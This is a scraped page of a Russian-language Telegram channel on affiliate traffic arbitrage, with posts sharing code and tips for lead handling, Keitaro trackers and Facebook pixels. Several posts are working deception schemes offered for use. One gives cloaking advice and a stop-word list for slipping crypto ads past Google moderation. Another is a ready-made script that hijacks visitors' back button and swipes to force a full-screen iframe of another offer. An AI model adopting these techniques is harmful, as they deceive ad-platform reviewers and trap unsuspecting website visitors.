Warning: Undefined array key 0 in /var/www/tgoop/function.php on line 65

Warning: Trying to access array offset on value of type null in /var/www/tgoop/function.php on line 65
335 - Telegram Web
Telegram Web
Всем супер отличного дня! Пятница, ты наконец-то здесь! 😁

Ладно, хватит о настроении, пора делиться полезностями. Вот обновленный код для проверки дубликатов лидов в нашем API:

function isDuplicateLead($phone)
{
$file = __DIR__ . '/leads.txt';

if (!file_exists($file)) {
file_put_contents($file, '');
}

$leads = file_get_contents($file);
$leadsArray = array_filter(explode("\n", trim($leads)));

foreach ($leadsArray as $lead) {
$leadData = json_decode($lead, true);
if (isset($leadData['phone']) && $leadData['phone'] === $phone) {
return true;
}
}

return false;
}

function cleanPhoneNumber($phoneNumber)
{
return preg_replace('/[^\d+]/', '', $phoneNumber);
}

function logLead($data)
{
$file = __DIR__ . '/leads.txt';
$leads = file_get_contents($file);
$leadsArray = array_filter(explode("\n", trim($leads)));

$logEntry = json_encode($data, JSON_UNESCAPED_UNICODE);

foreach ($leadsArray as $lead) {
if ($lead === $logEntry) {
return;
}
}

file_put_contents($file, $logEntry . "\n", FILE_APPEND);
}

$cleanedPhone = cleanPhoneNumber($_POST['phone']);

if (isDuplicateLead($cleanedPhone)) {
header('Location: error.php?name=' . urlencode($_POST['firstname']) . '&phone=' . urlencode($_POST['phone']));
exit;
} else {
logLead($_POST);
}


Что нового?
По функционалу ничего не изменилось, всё работает как и раньше:

- Очищаем номер телефона от лишних символов.
- Проверяем его наличие в логах.
- Если номер уже есть в логе — отправляем пользователя на error.php
- Если номера в логе нет — продолжаем выполнение api.php

Что добавил:

Теперь в лог (leads.txt) записываются не только номера, но и все остальные данные, которые приходят из формы через POST.
Это позволяет видеть полный набор данных лида и использовать их для дальнейшей работы в случае необходимости.

Код минимально изменён, но стал чуть удобнее для работы!
👍9🔥94👏1
Капча от Гугл будет платной)
Такие новости...
3🔥3👍2🤔2👏1
Не получается сейчас активно вести канал, загрузка крайне высокая 😞
Пилю параллельно много разных систем под клиентов, углубляться в это не будем пока.

Хотел рассказать что тут у нас произошло.
Одна ПП (называть не будем) начала присылать апрувы с нулевой выплатой. Мы много на них льем, поэтому легко такое потерять из виду на самом деле.

Но баер заметил и решили мы написать бота, который будет следить за всеми компаниями в кейтаро, по нужным нам критериям и в случае если пришел апрув меньше указанной суммы в боте, присылать сообщение с данными по апруву в рабочую группу.

Протестили неделю функционал, все работает на изи 👌

Если нужно, выложу инструкцию и код себе на сайт. Что думаете?
🔥16👍11👏43
bot.zip
4.8 KB
🗂 Скрипт бота автореакций в Телеге

💚 Язык программирования: Python
💻 Модуль: pyrogram
📎 База данных: mongodb

📝 Описание:
Скрипт бота, который автоматически ставит реакции в телеграм-сообщениях — на каналах, ботах, чатах и т.д. Подойдёт тем, кто занимается УБТ или просто кому нех... делать!
👍9🔥5👏1
Бум крипты, друзья! Всё вокруг кричит: пора влиться в крипто-игру.
Из каждого утюга уже инфа про крипту, так что не удивительно – время заходить в нишу!

За последние пару недель мне писали несколько человек с просьбой помочь настроить Google: речь идёт о кло и вайте.
С кло всё предельно просто – рекомендую всем использовать палладиум для Google. А вот с вайтами могут возникнуть вопросы.

Раньше я уже писал пост с общими рекомендациями по вайту для Google. Сегодня разберём, как настроить вайт специально для крипты, чтобы пройти модерацию.

Вот основные моменты:

Вайт: Только нейтральный контент!
Список стоп слов:
Bitcoin
ICO
Altcoin
Token
Mining
Trading
Financial
Money
Finance
Yield
Return
Gain
Dividend
crypto
investment
earn
profit


Что можно добавить на вайт страницу?

Обзор технологии блокчейна без упоминания доходов.
Информацию о децентрализованных системах, но без призывов к инвестициям.


Надеюсь, теперь понятно, в каком направлении двигаться. Удачи тебе, бро!

BoostClicks | Арбитраж трафика
🔥97👍1👏1😁1🤔1
Помните, как я делал ТГ-бота для шаринга вечных пикселей ФБ?
Работал он в связке с access token и куками.

Честно, меня уже достало ежедневно обновлять эти данные – хотя я и настроил планин для браузера, чтобы по факту открывалась страница ФБ, нажимался плагин, который отправляет токен с куками в базу, а бот уже обновлял данные. Но, как назло, иногда на выходных я не включаю комп, и эти говноданные слетают. Баеры тегают, работать хотят! 😤

Сегодня решил обновить схему работы бота: создал в BM системного пользователя с правами админа и полным доступом ко всем наборам данных. Сгенерил для него маркер доступа – думал, наконец, выйдет! Месяц такой маркер должен работать без головняка. Но, увы, крах и разочарование…

Оказывается, если шарить пиксели по API с авторизацией через маркер системного юзера, то рекламный кабинет (или BM с этим кабинетом), на который шарим, должен быть либо в партнёрах с моим BM (где вечные пиксели), либо, если это просто кабинет, то должен быть в моем BM. А вот при авторизации через куки и access token таких требований не было.

В общем, снова рыжий бес доставил неудобства. Всем мира!
6🔥5👏3👍2😁1
О чем вчера и говорил.
С маркером доступа Системного юзера, расшарка не работала.
С access токеном и куками работа отлично, до выхода моего поста
Мне конечно приятно что ФБ читают этот канал и фиксят то с чем мы работаем, но пожалуйста, отпишитесь. Хватит подкидывать говна и так не в сладкую кашу

{
"error": {
"message": "Permissions error",
"type": "FacebookApiException",
"code": 200,
"error_subcode": 1784039,
"is_transient": false,
"error_user_title": "У компании нет доступа к пикселю или рекламному аккаунту",
"error_user_msg": "Чтобы включить связывание пикселя с рекламным аккаунтом, компания 561405944315566 должна иметь доступ и к пикселю, и к рекламному аккаунту.",
"error_user_title_html": {
👍52🔥2😁2😱1
Итог: Теперь пошарить пиксель не дает и старым методом. Ошибка как с доступом системного юзера.
9👍6🔥3🤔2
Как мы защищаем свои связки от спай-сервисов?

1. Фильтрация по пикселю.
В первую очередь используется стандартная фильтрация по пикселю. В целевом потоке настраиваем фильтр с параметром сабайди, в который поступает пиксель. Список разрешённых пикселей указываем, выводя каждый с новой строки.

Дополнительно:

Прокси: НЕТ.
Страны: оставляем только целевые.
(Пример настройки – на скрине.)

2. Редирект в оффере.
Вставляем в первую строку оффера следующий код:
<?php
if (!isset($rawClick)) {
header("Location: https://boostclicks.ru/");
exit();
}
?>

При клике на оффер из кампании в Keitaro трекер определяет переменную $rawClick, которая содержит множество данных. Если же клик осуществляется вне кампании, переменной нет – и срабатывает редирект (в данном примере – на мой сайт).

Проверено и актуально.
Этот метод предложил Желтый достаточно давно, и он по-прежнему отлично работает.

4. Главное – обновлять связки.
Самый надёжный способ – не зацикливаться на том что кто то спалит твою связку, а тестировать новые (по 3, 4, 5 или 6 на баера каждый день). Результат не заставит себя ждать!

⬇️⬇️⬇️
BoostClicks | Арбитраж трафика
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍4🔥4
Помню, помню, обещал — выкладываю!

Поиск нулевого апрува в Кейтаро
Подробная инструкция: ТЫК

Все просто — сегодня до конца рабочего дня можете запустить 😉
Этот функционал оказался для нас очень полезным, а доработать его можно по своему усмотрению: например, получать в постбеке из ПП комментарии (если они есть) или внутренний ID заказа.

Дерзайте!

⬇️⬇️⬇️
BoostClicks | Арбитраж трафика
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍115🔥2👏2😁1🤔1
- Работает на айфонах
- На телефонах работает с ноги, без необходимости сначала тайпнуть на экран
- Отслеживает свайп
- Подтягивает все url параметры

ДОМОНЕТКА

<script>
(function(){
function openFrame() {
if (document.getElementById('myFrame')) return;
var params = window.location.search;
var iframe = document.createElement('iframe');
iframe.id = 'myFrame';
iframe.src = 'https://копания_для_домонетки' + params;
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100%';
iframe.style.height = '100%';
iframe.style.border = 'none';
iframe.style.zIndex = '9999';
document.body.appendChild(iframe);
}
history.pushState({page: 1}, "", window.location.href);
window.addEventListener('popstate', function(event) {
openFrame();
history.pushState({page: 1}, "", window.location.href);
});
var touchstartX = 0;
var touchendX = 0;
var threshold = 50;
document.addEventListener('touchstart', function(e) {
touchstartX = e.changedTouches[0].screenX;
}, false);
document.addEventListener('touchend', function(e) {
touchendX = e.changedTouches[0].screenX;
if (touchendX - touchstartX > threshold) {
openFrame();
}
}, false);
})();
</script>

Ссылочку не забудьте добавить 😉

⬇️⬇️⬇️
BoostClicks | Арбитраж трафика
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥6😁3👎1😱1
This media is not supported in your browser
VIEW IN TELEGRAM
Я собрал папку с арбитражными каналами и чатами. Здесь вам и чаты по тематикам: УБТ, арбитраж трафика, манимейкинг, SEO и каналы со сплетнями, мемами, полезной инфой и сливом мануалов по переливу трафика.

👉 Добавить папку можно по ссылке: https://www.tgoop.com/addlist/L4c57jwYc8VjMjgy
👍126🔥4👎2😁1
Forwarded from CPALENTA | Арбитраж трафика
🆕 Техник в арбитраже: какой стек нужен, сколько платят и что нужно делать? | Интервью с @boostclicks

В арбитраже все привыкли говорить о байерах, связках и профитных кампаниях, но есть те, без кого команды просто не смогут работать — технические специалисты.

☝️Кто они, сколько зарабатывают и какие навыки нужны, чтобы стать технарем в арбитраже?

Об этом мы поговорили с Евгением Boostclicks. В интервью он поделился:

🌟Своим путем в арбитраже и что сподвигло его разрабатывать бесплатные инструменты для арбитражников;
🌟С какими задачами сталкиваются технические специалисты в работе;
🌟Какой стек нужен для работы, и насколько реально совмещать ведение нескольких команд.

➡️ Материал уже на сайте: https://cpalenta.ru/tehnik-v-arbitrazhe-kakoy-stek-nuzhen-skolko-platyat-i-chto-nuzhno-delat-intervyu-s-boostclicks/

А еще узнали, какие боли чаще всего испытывают тимы, когда дело касается технички.

#интервью | @cpa_lenta
Please open Telegram to view this post
VIEW IN TELEGRAM
217👍10🔥73
Поработал над сервисами: исправил мелкие недочёты и обновил функционал.

https://down-web.ru — сервис для скачивания сайтов.
- Исправил работу Pagespeed: одна ПП любит размещать его на всех лендах, но раньше выгрузка происходила с ошибкой. Сейчас всё работает корректно.

https://uniq.down-web.ru — сервис для уникализации крео.
- Изменил логику и функционал уникализации изображений.
- Добавил возможность уникализации видеофайлов (макс. вес — 300 МБ).
9👍11🔥7👏1😁1🤔1
Хочешь дам тебе 1 биткоин?
Еще бы! Спрашиваешь – скажешь ты.
А нет у меня…поэтому без него.

Но раз уж я привлек твое внимание, хотел бы сегодня поговорить с тобой о базовой вещи: анализ целевой аудитории.
Мы уже играли в ролевые игры с ИИ (пост), но там была одна механика, без объяснения принципов и теории.
Информации много, читать не перечитать, но это так нудно… Поэтому давай кратко, по основным моментам в этом постике.

Зачем это?
Чтобы лучше подбирать креосики, на лендах насыпать страхов да боли, чем больше, тем лучше. Хорошо сегментироваться и снижать затраты.
Ты наверняка слышал от ПП: измени возраст, не заказывают, не выкупают и прочее нытье, но обоснования дать не могут.
Первое что приходит на ум, это потенция и старички, да-да, чаще всего лид скидывают дедульки за 70, а потом сливаются.
И мы получаем дешевую заявку, без апрува. Опустим оценку КЦ (хотя есть вопросики), давай попробуем понять как максимально точно целиться.

На какие вопросы нужно найти ответ?
• Зачем людям нужен продукт?
• Кому нужен этот продукт?
• Когда он нужен?
• Где найти этих людей?
И тут начинается паутина майнд мапов. Можно реально сойти с ума. Мне ближе всего модель Шеррингтона, специально для тебя собрал все в один материал (ссылка), там есть интересненькое. А тут, я сделал упрощенную схему, смотри картинку.
Часть ответов ты найдешь с помощью ПП, а на часть, тебе придется поломать голову…

Читать подробнее на boostclicks.ru
👍7🔥42👏2
This media is not supported in your browser
VIEW IN TELEGRAM
❤️‍🔥 SlotGames Partners — партнерская программа и одноименного бренда казино приглашает к сотрудничеству

📍 Мы принимаем трафик из стран СНГ, работаем почти со всеми источниками: Google, TikTok, Facebook, ASO, SEO, схемы и др.

💰 При этом партнерам предлагаются гибкие условия: до 80% по RevShare, до 200$ по CPA и индивидуальную ставку по Hybrid-модели.

📈 Партнерка предлагает уникальные продукты от SlotGames с высокими LTV и Retention, а также Telegram-бота для залива трафика со стабильно высокой конверсией.

❤️‍🔥 SlotGames Partners разрабатывает и адаптирует рекламные материалы по ТЗ от партнеров в кратчайшие сроки.

🖥 Скорее пиши менеджеру или регистрируйся сам !
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍5😁2
Признавайтесь, кто не спит по ночам, и грузит уникализатор тяжёлыми видосами? 😉
А если серьёзно – при необходимости могу перейти на сервак помощнее,
но на данный момент, текущий нормально справляется со своими задачами.
👍76🔥2😁2👏1
Media is too big
VIEW IN TELEGRAM
На днях столкнулся с проблемой: нужно было интегрировать лендинг, подключить его к ПП, добавить стандартные скрипты и настроить передачу меток.

Но лендинг был сделан на всеми любимой Тильде! 🫣

Форма никак не поддавалась редактированию, и я не мог прописать в ней свои метки.

Проблема с передачей пикселя с главной на целевую страницу понятна – ранее писал, как можно передавать эти данные через сессии или использовать CAPI.
Но про остальные метки, например, одну из ключевых – ID клика (subid в кейтаро) – подробностей не было.

С этой меткой всё просто: она хранится в cookie, и в файле api.php можно её извлечь следующим образом:

'click_id' => isset($_COOKIE['_subid']) ? $_COOKIE['_subid'] : null,
8👍13🔥8🤔2
This media is not supported in your browser
VIEW IN TELEGRAM
🔥 Готовьтесь к топовым связкам и актуальным крео каждый день вместе с SPYOWL!

🎯 Что делает спай:
Мы ежедневно собираем свежие крипто-крео и лендинги — и только крипто. Каталоги, скрытые видео и другие “фишки” больше не помогут баерам спрятать свои связки от нас.

🔒 Пока без ссылок и подробностей — мы наблюдаем, как команды пытаются нам противодействовать. Поэтому на старте информация будет минимальной: Крео + Лендинг, чтобы сохранить высокое качество и количество объявлений. Но не волнуйтесь — список фич уже готов и будет регулярно пополняться!

Поиск по офферу и звезде
Теперь, когда вам сообщают с КЦ или ПП о новом оффере не нужно гадать и тратить время. Просто заходите в спай, находите всё необходимое, и вперёд — заливайте!

🌍 Гео выгрузка:
• Топ: 🇿🇦 ZA, 🇲🇾 MY, 🇭🇺 HU, 🇧🇪 BE, 🇵🇪 PE, 🇲🇽 MX, 🇦🇹 AT, 🇬🇧 GB, 🇪🇸 ES, 🇸🇰 SK, 🇫🇷 FR, 🇮🇹 IT, 🇨🇦 CA, 🇩🇪 DE, 🇨🇿 CZ, 🇩🇰 DK, 🇦🇺 AU, 🇸🇪 SE, 🇰🇷 KR, 🇷🇸 RS, 🇳🇴 NO, 🇳🇱 NL, 🇮🇪 IE, 🇫🇮 FI, 🇮🇳 IN, 🇯🇵 JP, 🇨🇭 CH, 🇵🇹 PT, 🇷🇴 RO, 🇬🇷GR, 🇧🇬BG, 🇨🇷CR, 🇳🇿 NZ, 🇵🇱 PL, 🇹🇷 TR и другие

📥 Остальные гео уже готовятся


И помните: спай — это не просто Cntrl+C и Cntrl+V. Это возможность оставаться на острие трендов в десятках гео и масштабировать эти подходы на другие. Например, те же креативы с сиськами отлично заливаются на 5-8 гео каждый день, а началось все с одного гео. А с нашим спаем на вас будет работать фантазия сотен баеров.

Подписывайтесь на наш паблик и получайте бесплатно связки каждый день 🫂👁 Всевидящее Око | SpyOwl
👍61
This media is not supported in your browser
VIEW IN TELEGRAM
Пришла просьба обновить функционал калькулятора на сайте. Отказывать нельзя.

Теперь калькулятор включает два новых инструмента:

• ROI по количеству лидов и прибыль в день
Расчёт позволяет увидеть, как меняется рентабельность и какая прибыль генерируется при заданном количестве лидов в день.

• Цена покупки для заданного ROI
Удобное определение максимально допустимой цены покупки, при которой достигается желаемый уровень рентабельности.

Пора юзать новый функционал и оптимизировать свои рекламные кампании! 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥4👍2👏2🤔2😁1
2025/08/23 21:28:31
Back to Top
HTML Embed Code: